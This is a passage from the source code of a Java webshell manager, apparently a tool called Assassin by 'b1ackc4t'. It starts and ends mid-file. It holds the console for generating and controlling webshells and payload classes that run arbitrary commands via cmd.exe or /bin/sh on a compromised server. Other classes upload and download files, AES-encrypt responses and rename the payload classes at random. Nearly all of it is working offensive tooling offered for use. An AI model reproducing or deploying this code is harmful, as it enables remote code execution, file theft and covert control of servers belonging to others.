db"); 218 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')"); 219 | System.out.println(Config.getYColor("key:") + " db's key"); 220 | System.out.println(Config.getYColor("value:") + " db's new value"); 221 | System.out.println("================================================="); 222 | System.out.println("Example:"); 223 | System.out.println("\t" + Config.getYColor("set") + " 1 resEncode base36"); 224 | break; 225 | case "reset": 226 | System.out.println("Usage:"); 227 | System.out.println("\t" + Config.getYColor("reset") + " id"); 228 | System.out.println("================================================="); 229 | System.out.println("reset a webshell. Reload payload class information"); 230 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')"); 231 | System.out.println("================================================="); 232 | System.out.println("Example:"); 233 | System.out.println("\t" + Config.getYColor("reset") + " 1"); 234 | break; 235 | case "getshell": 236 | System.out.println("Usage:"); 237 | System.out.println("\t" + Config.getYColor("getshell")); 238 | System.out.println("================================================="); 239 | System.out.println("Enter shell command execution mode, can only be used after obtaining session."); 240 | System.out.println("================================================="); 241 | System.out.println("Example:"); 242 | System.out.println("\t" + Config.getYColor("getshell")); 243 | break; 244 | case "exit": 245 | System.out.println("Exit program"); 246 | break; 247 | case "show": 248 | System.out.println("Show all webshell"); 249 | break; 250 | case "delete": 251 | System.out.println("Usage:"); 252 | System.out.println("\t" + Config.getYColor("delete") + " id"); 253 | System.out.println("================================================="); 254 | System.out.println("Delete a webshell"); 255 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')"); 256 | System.out.println("================================================="); 257 | System.out.println("Example:"); 258 | System.out.println("\t" + Config.getYColor("delete") + " 1"); 259 | break; 260 | case "back": 261 | System.out.println("Go back to the previous menu"); 262 | break; 263 | } 264 | return false; 265 | } 266 | 267 | System.out.println("Core Commands"); 268 | System.out.println("============="); 269 | System.out.printf("%-14s", "\tCommand"); 270 | System.out.printf("%-35s%n", "Description"); 271 | System.out.printf("%-14s", "\t-------"); 272 | System.out.printf("%-35s%n", "-----------"); 273 | System.out.printf("%-25s", "\t" + Config.getYColor("help")); 274 | System.out.printf("%-35s%n", "View help information"); 275 | System.out.printf("%-25s", "\t" + Config.getYColor("exit")); 276 | System.out.printf("%-35s%n", "Exit program"); 277 | System.out.printf("%-25s", "\t" + Config.getYColor("show")); 278 | System.out.printf("%-35s%n", "Show all webshell"); 279 | System.out.printf("%-25s", "\t" + Config.getYColor("add")); 280 | System.out.printf("%-35s%n", "Add a webshell"); 281 | System.out.printf("%-25s", "\t" + Config.getYColor("delete")); 282 | System.out.printf("%-35s%n", "Delete a webshell"); 283 | System.out.printf("%-25s", "\t" + Config.getYColor("set")); 284 | System.out.printf("%-35s%n", "Modify a webshell setting"); 285 | System.out.printf("%-25s", "\t" + Config.getYColor("session")); 286 | System.out.printf("%-35s%n", "Get a webshell controller"); 287 | System.out.printf("%-25s", "\t" + Config.getYColor("reset")); 288 | System.out.printf("%-35s%n", "Reset webshell classload info"); 289 | System.out.printf("%-25s", "\t" + Config.getYColor("new")); 290 | System.out.printf("%-35s%n", "Generate a webshell"); 291 | System.out.println(); 292 | 293 | System.out.println("Webshell Controller Commands"); 294 | System.out.println("============================"); 295 | System.out.printf("%-14s", "\tCommand"); 296 | System.out.printf("%-35s%n", "Description"); 297 | System.out.printf("%-14s", "\t-------"); 298 | System.out.printf("%-35s%n", "-----------"); 299 | System.out.printf("%-25s", "\t" + Config.getYColor("getshell")); 300 | System.out.printf("%-35s%n", "get remote shell"); 301 | System.out.printf("%-25s", "\t" + Config.getYColor("upload")); 302 | System.out.printf("%-35s%n", "upload file to the server"); 303 | System.out.printf("%-25s", "\t" + Config.getYColor("download")); 304 | System.out.printf("%-35s%n", "download file to the local"); 305 | System.out.printf("%-25s", "\t" + Config.getYColor("back")); 306 | System.out.printf("%-35s%n", "Go back to the previous menu"); 307 | System.out.println(); 308 | 309 | System.out.println("b1ackc4t"); 310 | System.out.println("========"); 311 | System.out.println("\tYou can exec 'help [command]' to get more info. Such as 'help add'"); 312 | 313 | return false; 314 | } 315 | 316 | public boolean doSession(String[] args, Map kwargs) { 317 | if (args == null || args.length < 1) { 318 | System.out.println("too few arguments"); 319 | return false; 320 | } 321 | int id = Integer.parseInt(args[0]); 322 | if (id > db.getEndID()) { 323 | System.out.println("session id not found!"); 324 | return false; 325 | } 326 | String[] arr_temp = db.getShellInfo(id); 327 | String shell_url = arr_temp[0]; 328 | String pass = arr_temp[1]; 329 | type = arr_temp[2]; 330 | String method = arr_temp[3]; 331 | String reqEncode = arr_temp[4]; 332 | String resEncode = arr_temp[5]; 333 | sender = new Sender(shell_url, pass, type, method, headers); 334 | sender.resEncode = resEncode; 335 | sender.reqEncode = reqEncode; 336 | if (sender.testCon()) { 337 | session_id = Integer.parseInt(args[0]); 338 | prompt = label + "|" + type + " >"; 339 | db.changeShell(session_id, "status", "1"); 340 | System.out.println("OK"); 341 | } else { 342 | sender = null; 343 | db.changeShell(session_id, "status", "0"); 344 | System.out.println("Connection Failure"); 345 | } 346 | 347 | return false; 348 | } 349 | 350 | public boolean doBack(String[] args, Map kwargs) { 351 | if (!current_path.equals("")) { 352 | current_path = ""; 353 | prompt = label + "|" + type + " >"; 354 | System.out.println("OK"); 355 | return false; 356 | } 357 | 358 | if (session_id != 0) { 359 | session_id = 0; 360 | sender = null; 361 | prompt = label + " >"; 362 | System.out.println("OK"); 363 | return false; 364 | } 365 | return false; 366 | 367 | } 368 | 369 | public boolean preCmd(Command command) { 370 | if(Arrays.asList(commands).contains(command.getCmd()) ) { 371 | return false; 372 | } 373 | if (!current_path.equals("")) { 374 | try { 375 | Charset charSet = null; 376 | if (os.equals("windows")) { 377 | charSet = Charset.forName("GBK"); 378 | } else { 379 | charSet = StandardCharsets.UTF_8; 380 | } 381 | String cmd =command.getRaw(); 382 | if (command.getCmd().equals("Cd")) { 383 | String tmpCmd = null; 384 | if (os.equals("windows")) { 385 | tmpCmd = cmd + "& chdir"; 386 | } else { 387 | tmpCmd = cmd + "& pwd"; 388 | } 389 | JSONObject result_json = sender.rce(tmpCmd); 390 | if (result_json.getString("status").equals("c3VjY2Vzcw==")) { 391 | System.out.println("success"); 392 | current_path = new String(Crypt.b64Decoder.decode(result_json.getString("msg")), charSet).trim(); 393 | prompt = label + "|" + type + "|" + current_path + " >"; 394 | return true; 395 | } else { 396 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result_json.getString("msg")))); 397 | return true; 398 | } 399 | } else { 400 | JSONObject result_json = sender.rce("cd " + current_path + " & " + cmd); 401 | if (result_json.getString("status").equals("c3VjY2Vzcw==")) { 402 | System.out.println(new String(Crypt.b64Decoder.decode(result_json.getString("msg")), charSet)); 403 | return true; 404 | } else { 405 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result_json.getString("msg")))); 406 | return false; 407 | } 408 | } 409 | } catch (Exception e) { 410 | e.printStackTrace(); 411 | return false; 412 | } 413 | } 414 | return false; 415 | } 416 | 417 | private String getCurrent_path() 418 | { 419 | JSONObject result_json = sender.rce("uname -a"); 420 | if (result_json.getString("status").equals("c3VjY2Vzcw==")) { 421 | if(new String(Crypt.b64Decoder.decode(result_json.getString("msg"))).contains("Linux")) 422 | { 423 | current_path = new String(Crypt.b64Decoder.decode(sender.rce("pwd").getString("msg"))); 424 | os = "linux"; 425 | pathSep = "/"; 426 | } 427 | else { 428 | current_path = new String(Crypt.b64Decoder.decode(sender.rce("chdir").getString("msg"))); 429 | os = "windows"; 430 | pathSep = "\\"; 431 | } 432 | return current_path.trim(); 433 | } else { 434 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result_json.getString("msg")))); 435 | return null; 436 | } 437 | } 438 | 439 | public boolean doGetshell(String[] args, Map kwargs) { 440 | if (session_id == 0) { 441 | System.out.println("Please enter a session(session [id])"); 442 | return false; 443 | } 444 | String res = getCurrent_path(); 445 | if (res != null) { 446 | current_path = res; 447 | prompt = label + "|" + type + "|" + current_path + " >"; 448 | System.out.println("OK! you can now execute the shell command."); 449 | } 450 | return false; 451 | 452 | } 453 | 454 | public boolean doUpload(String[] args, Map kwargs) { 455 | if (session_id == 0) { 456 | System.out.println("Please enter a session(session [id])"); 457 | return false; 458 | } 459 | JFileChooser fd = new JFileChooser(); 460 | fd.setCurrentDirectory(new File(".")); 461 | fd.setDialogTitle("请选择要上传的文件"); 462 | fd.showOpenDialog(null); 463 | File f = fd.getSelectedFile(); 464 | String remotePath = (args != null && args.length > 0) ? args[0] : current_path + pathSep + f.getName(); 465 | JSONObject res = sender.upload(f.getAbsolutePath(), remotePath); 466 | if (res.getString("status").equals("c3VjY2Vzcw==")) { 467 | System.out.println(f.getAbsolutePath() + " has been uploaded -> " + remotePath); 468 | } else { 469 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(res.getString("msg")))); 470 | } 471 | return false; 472 | } 473 | 474 | public boolean doDownload(String[] args, Map kwargs) { 475 | if (session_id == 0) { 476 | System.out.println("Please enter a session(session [id])"); 477 | return false; 478 | } 479 | if (args == null || args.length < 1) { 480 | System.out.println("too few arguments"); 481 | return false; 482 | } 483 | 484 | String remote_path = args[0]; 485 | JSONObject result = sender.download(remote_path); 486 | if (result.getString("status").equals("c3VjY2Vzcw==")) { 487 | JFileChooser fd = new JFileChooser(); 488 | fd.setCurrentDirectory(new File(".")); 489 | fd.setDialogTitle("请输入要保存的文件名"); 490 | fd.showOpenDialog(null); 491 | File f = fd.getSelectedFile(); 492 | if (Utils.writeFileByBytes(f, Crypt.b64Decoder.decode(result.getString("msg")))) { 493 | System.out.println(remote_path + " has been saved -> " + f.getAbsolutePath()); 494 | } else { 495 | System.out.println("fail!"); 496 | } 497 | } else { 498 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result.getString("msg")))); 499 | } 500 | return false; 501 | } 502 | 503 | /** 504 | * 目标payload已经失效,让某个shell重新传输payload 505 | * @param args 506 | * @return 507 | */ 508 | public boolean doReset(String[] args, Map kwargs) { 509 | if (args == null || args.length < 1) { 510 | System.out.println("too few arguments"); 511 | return false; 512 | } 513 | 514 | int ID = Integer.parseInt(args[0]); 515 | db.resetClassInfo(ID); 516 | System.out.println("OK"); 517 | return false; 518 | } 519 | 520 | public boolean doNew(String[] args, Map kwargs) { 521 | if (args == null || args.length < 2) { 522 | System.out.println("too few arguments"); 523 | return false; 524 | } 525 | 526 | String type = args[0].toLowerCase(); 527 | String pass = args[1]; 528 | String method = (args.length > 2) ? args[2].toLowerCase() : "post"; 529 | String reqEncode = (args.length > 3) ? args[3].toLowerCase() : "base64_1"; 530 | String tamper = (args.length > 4) ? args[4].toLowerCase() : "common.txt"; 531 | method = kwargs.getOrDefault("method", method); 532 | reqEncode = kwargs.getOrDefault("reqencode", reqEncode); 533 | tamper = kwargs.getOrDefault("tamper", tamper); 534 | String webshellCode = null; 535 | if (type.equals("java")) { 536 | switch (reqEncode) { 537 | case "base64_1": 538 | webshellCode = JavaTemplate.javaBase64_1(pass, tamper, method); 539 | break; 540 | case "base64_2": 541 | webshellCode = JavaTemplate.javaBase64_2(pass, tamper, method); 542 | break; 543 | case "base36": 544 | webshellCode = JavaTemplate.javaBase36(pass, tamper, method); 545 | break; 546 | case "hex": 547 | webshellCode = JavaTemplate.javaHex(pass, tamper, method); 548 | break; 549 | default: 550 | System.out.println("unsupported reqEncode!"); 551 | return false; 552 | } 553 | } else { 554 | System.out.println("unsupported type!"); 555 | return false; 556 | } 557 | if (webshellCode == null) return false; 558 | JFileChooser fd = new JFileChooser(); 559 | fd.setCurrentDirectory(new File(".")); 560 | fd.setDialogTitle("请输入要保存的文件名"); 561 | fd.showOpenDialog(null); 562 | File f = fd.getSelectedFile(); 563 | if (Utils.writeFileByString(f, webshellCode)) { 564 | System.out.println("saved -> " + f.getAbsolutePath()); 565 | } else { 566 | System.out.println("fail!"); 567 | } 568 | 569 | return false; 570 | } 571 | } 572 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/main/Main.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.main; 2 | 3 | public class Main { 4 | public static void main(String[] args) { 5 | String version = "v1.0"; 6 | System.out.format("\n" + 7 | " █████╗ ███████╗███████╗ █████╗ ███████╗███████╗██╗███╗ ██╗\n" + 8 | "██╔══██╗██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝██║████╗ ██║\n" + 9 | "███████║███████╗███████╗███████║███████╗███████╗██║██╔██╗ ██║\n" + 10 | "██╔══██║╚════██║╚════██║██╔══██║╚════██║╚════██║██║██║╚██╗██║\n" + 11 | "██║ ██║███████║███████║██║ ██║███████║███████║██║██║ ╚████║\n" + 12 | "╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝╚═╝ ╚═══╝\n" + 13 | " %30s \n" + 14 | " %32s %s\n", "I believe you can do it", "by b1ackc4t", version); 15 | Console c = new Console(); 16 | c.cmdLoop(); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/payload/java/Download.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.payload.java; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.FileInputStream; 7 | import java.lang.reflect.Method; 8 | import java.math.BigInteger; 9 | import java.util.*; 10 | 11 | public class Download { 12 | public static String path; 13 | private Object res; 14 | public static String key; 15 | public static int encode; 16 | public boolean equals(Object obj) { 17 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 18 | Object o; 19 | Method m; 20 | try { 21 | fill(obj); 22 | bos.write("1@".getBytes()); 23 | bos.write(download()); 24 | } catch (Exception e) { 25 | try { 26 | bos.reset(); 27 | bos.write("0@".getBytes()); 28 | } catch (Exception r) { 29 | } 30 | } 31 | 32 | try { 33 | o = res.getClass().getMethod("getOutputStream").invoke(res); 34 | m = o.getClass().getMethod("write", byte[].class); 35 | byte[] r = encrypt(bos.toByteArray()); 36 | bos.close(); 37 | switch (encode) { 38 | case 0: 39 | break; 40 | case 1: 41 | r = new BigInteger(r).toString(16).getBytes(); 42 | break; 43 | case 2: 44 | r = new BigInteger(r).toString(36).getBytes(); 45 | break; 46 | default: 47 | if (System.getProperty("java.version").compareTo("1.8") >= 0) { 48 | r = Base64.getEncoder().encode(r); 49 | } else { 50 | r = new sun.misc.BASE64Encoder().encode(r).getBytes(); 51 | } 52 | } 53 | m.invoke(o, r); 54 | o.getClass().getMethod("flush").invoke(o); 55 | o.getClass().getMethod("close").invoke(o); 56 | // Response.getOutputStream().write(this.Encrypt(bos.toByteArray())); 57 | // Response.getOutputStream().flush(); 58 | // Response.getOutputStream().close(); 59 | } catch (Exception e) { 60 | } 61 | return true; 62 | } 63 | 64 | private byte[] download() throws Exception { 65 | FileInputStream fis = new FileInputStream(path); 66 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 67 | byte[] buffer = new byte[1024 * 1024]; 68 | int length; 69 | 70 | while((length = fis.read(buffer)) > 0) { 71 | bos.write(buffer, 0, length); 72 | } 73 | byte[] t = bos.toByteArray(); 74 | bos.close(); 75 | return t; 76 | } 77 | 78 | private byte[] encrypt(byte[] bs) throws Exception { 79 | Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); 80 | c.init(1, new SecretKeySpec(key.getBytes("utf-8"), "AES")); 81 | return c.doFinal(bs); 82 | } 83 | 84 | private void fill(Object obj) throws Exception { 85 | List p = (List)obj; 86 | res = p.get(0); 87 | if (p.size() > 1) { 88 | path = ((String) p.get(1)); 89 | } 90 | res.getClass().getMethod("setCharacterEncoding", String.class).invoke(res, "UTF-8"); 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/payload/java/Print.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.payload.java; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import java.io.ByteArrayOutputStream; 6 | import java.lang.reflect.Method; 7 | import java.math.BigInteger; 8 | import java.util.*; 9 | 10 | public class Print { 11 | public static String content; 12 | private Object Response; 13 | public static String key; 14 | public static int encode; 15 | 16 | public boolean equals(Object obj) { 17 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 18 | Object o; 19 | Method m; 20 | try { 21 | fill(obj); 22 | bos.write("1@".getBytes()); 23 | bos.write(content.getBytes()); 24 | } catch (Exception e) { 25 | e.printStackTrace(); 26 | try { 27 | bos.reset(); 28 | bos.write("0@".getBytes()); 29 | } catch (Exception r) { 30 | r.printStackTrace(); 31 | } 32 | } 33 | 34 | try { 35 | o = Response.getClass().getMethod("getOutputStream").invoke(this.Response); 36 | m = o.getClass().getMethod("write", byte[].class); 37 | byte[] r = encrypt(bos.toByteArray()); 38 | switch (encode) { 39 | case 0: 40 | break; 41 | case 1: 42 | r = new BigInteger(r).toString(16).getBytes(); 43 | break; 44 | case 2: 45 | r = new BigInteger(r).toString(36).getBytes(); 46 | break; 47 | default: 48 | if (System.getProperty("java.version").compareTo("1.8") >= 0) { 49 | r = Base64.getEncoder().encode(r); 50 | } else { 51 | r = new sun.misc.BASE64Encoder().encode(r).getBytes(); 52 | } 53 | } 54 | m.invoke(o, r); 55 | o.getClass().getMethod("flush").invoke(o); 56 | o.getClass().getMethod("close").invoke(o); 57 | // Response.getOutputStream().write(this.Encrypt(bos.toByteArray())); 58 | // Response.getOutputStream().flush(); 59 | // Response.getOutputStream().close(); 60 | } catch (Exception e) { 61 | e.printStackTrace(); 62 | } 63 | try { 64 | bos.close(); 65 | } catch (Exception e) { 66 | e.printStackTrace(); 67 | } 68 | return true; 69 | } 70 | 71 | private byte[] encrypt(byte[] bs) throws Exception { 72 | Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); 73 | cipher.init(1, new SecretKeySpec(key.getBytes("utf-8"), "AES")); 74 | return cipher.doFinal(bs); 75 | } 76 | 77 | private void fill(Object obj) throws Exception { 78 | List myContext = (List)obj; 79 | Response = myContext.get(0); 80 | if (myContext.size() > 1) { 81 | content = (String) myContext.get(1); 82 | } 83 | Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(Response, "UTF-8"); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/payload/java/Rce.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.payload.java; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.InputStream; 7 | import java.lang.reflect.Method; 8 | import java.math.BigInteger; 9 | import java.nio.charset.Charset; 10 | import java.util.Base64; 11 | import java.util.List; 12 | 13 | 14 | public class Rce { 15 | public static String cmd; 16 | private Object res; 17 | public static String key; 18 | public static int encode; 19 | 20 | public boolean equals(Object obj) { 21 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 22 | Object o; 23 | Method m; 24 | try { 25 | fill(obj); 26 | bos.write("1@".getBytes()); 27 | bos.write(rce(cmd).getBytes()); 28 | } catch (Exception e) { 29 | try { 30 | bos.reset(); 31 | bos.write("0@".getBytes()); 32 | } catch (Exception r) { 33 | } 34 | } 35 | 36 | try { 37 | o = res.getClass().getMethod("getOutputStream").invoke(res); 38 | m = o.getClass().getMethod("write", byte[].class); 39 | byte[] r = encrypt(bos.toByteArray()); 40 | bos.close(); 41 | switch (encode) { 42 | case 0: 43 | break; 44 | case 1: 45 | r = new BigInteger(r).toString(16).getBytes(); 46 | break; 47 | case 2: 48 | r = new BigInteger(r).toString(36).getBytes(); 49 | break; 50 | default: 51 | if (System.getProperty("java.version").compareTo("1.8") >= 0) { 52 | r = Base64.getEncoder().encode(r); 53 | } else { 54 | r = new sun.misc.BASE64Encoder().encode(r).getBytes(); 55 | } 56 | } 57 | m.invoke(o, r); 58 | o.getClass().getMethod("flush").invoke(o); 59 | o.getClass().getMethod("close").invoke(o); 60 | // Response.getOutputStream().write(this.Encrypt(bos.toByteArray())); 61 | // Response.getOutputStream().flush(); 62 | // Response.getOutputStream().close(); 63 | } catch (Exception e) { 64 | } 65 | 66 | return true; 67 | } 68 | 69 | private String rce(String cmd) throws Exception { 70 | String r = null; 71 | if (cmd != null && cmd.length() > 0) { 72 | Process p; 73 | if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { 74 | p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); 75 | } else { 76 | p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); 77 | } 78 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 79 | InputStream is = p.getInputStream(); 80 | byte[] tmp = new byte[2048]; 81 | int len; 82 | while ((len = is.read(tmp)) != -1) { 83 | bos.write(tmp, 0, len); 84 | } 85 | r = new String(bos.toByteArray(), Charset.forName(System.getProperty("sun.jnu.encoding"))); 86 | bos.close(); 87 | } 88 | return r; 89 | } 90 | 91 | private byte[] encrypt(byte[] bs) throws Exception { 92 | Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); 93 | c.init(1, new SecretKeySpec(key.getBytes("utf-8"), "AES")); 94 | return c.doFinal(bs); 95 | } 96 | 97 | private void fill(Object obj) throws Exception { 98 | List p = (List)obj; 99 | res = p.get(0); 100 | if (p.size() > 1) { 101 | cmd = (String) p.get(1); 102 | } 103 | res.getClass().getMethod("setCharacterEncoding", String.class).invoke(res, "UTF-8"); 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/payload/java/Upload.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.payload.java; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.File; 7 | import java.io.FileOutputStream; 8 | import java.lang.reflect.Method; 9 | import java.math.BigInteger; 10 | import java.util.*; 11 | 12 | public class Upload { 13 | public static String path; 14 | public static String content; 15 | private Object res; 16 | public static String key; 17 | public static int encode; 18 | public boolean equals(Object obj) { 19 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 20 | Object o; 21 | Method m; 22 | try { 23 | fill(obj); 24 | bos.write("1@".getBytes()); 25 | bos.write(create().getBytes()); 26 | } catch (Exception e) { 27 | try { 28 | bos.reset(); 29 | bos.write("0@".getBytes()); 30 | } catch (Exception r) { 31 | } 32 | } 33 | 34 | try { 35 | o = res.getClass().getMethod("getOutputStream").invoke(res); 36 | m = o.getClass().getMethod("write", byte[].class); 37 | byte[] r = encrypt(bos.toByteArray()); 38 | bos.close(); 39 | switch (encode) { 40 | case 0: 41 | break; 42 | case 1: 43 | r = new BigInteger(r).toString(16).getBytes(); 44 | break; 45 | case 2: 46 | r = new BigInteger(r).toString(36).getBytes(); 47 | break; 48 | default: 49 | if (System.getProperty("java.version").compareTo("1.8") >= 0) { 50 | r = Base64.getEncoder().encode(r); 51 | } else { 52 | r = new sun.misc.BASE64Encoder().encode(r).getBytes(); 53 | } 54 | } 55 | m.invoke(o, r); 56 | o.getClass().getMethod("flush").invoke(o); 57 | o.getClass().getMethod("close").invoke(o); 58 | // Response.getOutputStream().write(this.Encrypt(bos.toByteArray())); 59 | // Response.getOutputStream().flush(); 60 | // Response.getOutputStream().close(); 61 | } catch (Exception e) { 62 | } 63 | return true; 64 | } 65 | 66 | private String create() throws Exception { 67 | String result = ""; 68 | FileOutputStream fso = new FileOutputStream(path); 69 | byte[] rContent; 70 | if (System.getProperty("java.version").compareTo("1.8") >= 0) { 71 | rContent = Base64.getDecoder().decode(content); 72 | } else { 73 | rContent = new sun.misc.BASE64Decoder().decodeBuffer(content); 74 | } 75 | fso.write(rContent); 76 | fso.flush(); 77 | fso.close(); 78 | result = path + "上传完成,远程文件大小:" + (new File(path)).length(); 79 | return result; 80 | } 81 | 82 | private byte[] encrypt(byte[] bs) throws Exception { 83 | Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); 84 | c.init(1, new SecretKeySpec(key.getBytes("utf-8"), "AES")); 85 | return c.doFinal(bs); 86 | } 87 | 88 | private void fill(Object obj) throws Exception { 89 | List p = (List)obj; 90 | res = p.get(0); 91 | if (p.size() > 1) { 92 | String[] tmp = ((String) p.get(1)).split(";"); 93 | path = tmp[0]; 94 | content = tmp[1]; 95 | } 96 | res.getClass().getMethod("setCharacterEncoding", String.class).invoke(res, "UTF-8"); 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/sender/Crypt.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.sender; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import java.nio.charset.StandardCharsets; 6 | import java.util.Base64; 7 | 8 | public class Crypt { 9 | 10 | public static final Base64.Encoder b64Encoder = Base64.getEncoder(); 11 | public static final Base64.Decoder b64Decoder = Base64.getDecoder(); 12 | 13 | public static byte[] encrypt(byte[] data, String key, String type) throws Exception { 14 | byte[] result = null; 15 | if (type.equals("java")) { 16 | byte[] raw = key.getBytes(StandardCharsets.UTF_8); 17 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 18 | Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); 19 | cipher.init(1, skeySpec); 20 | result = cipher.doFinal(data); 21 | } 22 | return result; 23 | } 24 | 25 | public static byte[] decrypt(byte[] data, String key, String type) throws Exception { 26 | byte[] result = null; 27 | if (type.equals("java")) { 28 | byte[] raw = key.getBytes(StandardCharsets.UTF_8); 29 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 30 | Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); 31 | cipher.init(2, skeySpec); 32 | result = cipher.doFinal(data); 33 | } 34 | return result; 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/sender/PayloadClassVisitor.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.sender; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.FieldVisitor; 5 | import org.objectweb.asm.MethodVisitor; 6 | import org.objectweb.asm.Opcodes; 7 | 8 | import java.util.HashSet; 9 | import java.util.Map; 10 | import java.util.Set; 11 | 12 | public class PayloadClassVisitor extends ClassVisitor { 13 | private String oldClassName; 14 | private String newClassName; 15 | private Map fieldsMap; 16 | private int javaVersion; 17 | private Set existed; 18 | 19 | public PayloadClassVisitor(int api, ClassVisitor classVisitor, Map fieldsMap) { 20 | super(api, classVisitor); 21 | this.fieldsMap = fieldsMap; 22 | this.javaVersion = -1; 23 | this.existed = new HashSet<>(); 24 | } 25 | 26 | public void setNewClassName(String newClassName) {this.newClassName = newClassName;} 27 | 28 | public void setJavaVersion(int javaVersion) {this.javaVersion = javaVersion;} 29 | 30 | @Override 31 | public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { 32 | if (this.oldClassName == null) this.oldClassName = name; 33 | if (this.javaVersion != -1) version = this.javaVersion; 34 | if (this.newClassName != null) name = this.newClassName; 35 | super.visit(version, access, name, signature, superName, interfaces); 36 | } 37 | 38 | @Override 39 | public FieldVisitor visitField(int access, String name, String descriptor, String signature, Object value) { 40 | if (fieldsMap.containsKey(name)) { 41 | value = fieldsMap.get(name); 42 | existed.add(name); 43 | } 44 | return super.visitField(access, name, descriptor, signature, value); 45 | } 46 | 47 | @Override 48 | public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { 49 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 50 | if (this.newClassName != null) { 51 | return new PayloadMethodVisitor(this.api, mv, this.oldClassName, this.newClassName); 52 | } 53 | return mv; 54 | } 55 | 56 | @Override 57 | public void visitEnd() { 58 | Set needAdd = new HashSet<>(this.fieldsMap.keySet()); 59 | needAdd.removeAll(existed); 60 | for (String name : needAdd) { 61 | super.visitField( 62 | Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC, 63 | name, 64 | "Ljava/lang/String;", 65 | null, 66 | this.fieldsMap.get(name) 67 | ); 68 | } 69 | super.visitEnd(); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/sender/PayloadGenerator.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.sender; 2 | 3 | import org.b1ackc4t.util.Utils; 4 | import org.objectweb.asm.ClassReader; 5 | import org.objectweb.asm.ClassWriter; 6 | import org.objectweb.asm.Opcodes; 7 | 8 | import java.math.BigInteger; 9 | import java.util.Map; 10 | import java.util.Random; 11 | 12 | public class PayloadGenerator { 13 | 14 | private String type; 15 | private String key; 16 | public String newClassName; 17 | private String reqEncode; 18 | private String resEncode; 19 | 20 | public PayloadGenerator(String type, String key, String reqEncode, String resEncode) { 21 | this.type = type; 22 | this.key = key; 23 | this.reqEncode = reqEncode; 24 | this.resEncode = resEncode; 25 | 26 | } 27 | 28 | public byte[] getClassData(String clsName, final Map params) throws Exception { 29 | ClassReader cr = new ClassReader(String.format("org.b1ackc4t.payload.java.%s", clsName)); 30 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); 31 | PayloadClassVisitor cv = new PayloadClassVisitor(Opcodes.ASM9, cw, params); 32 | cv.setJavaVersion(Opcodes.V1_5); 33 | // cv.setNewClassName("sun/wfwff/grgeh/Gfegs"); 34 | newClassName = getRandomClassName(); 35 | cv.setNewClassName(newClassName); 36 | cr.accept(cv, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES); 37 | return cw.toByteArray(); 38 | } 39 | 40 | public static String getRandomClassName() { 41 | String randomName; 42 | String[] domain1s = new String[]{"com", "cn", "net", "org", "sun", "team"}; 43 | int domain1Index = (new Random()).nextInt(6); 44 | String domain1 = 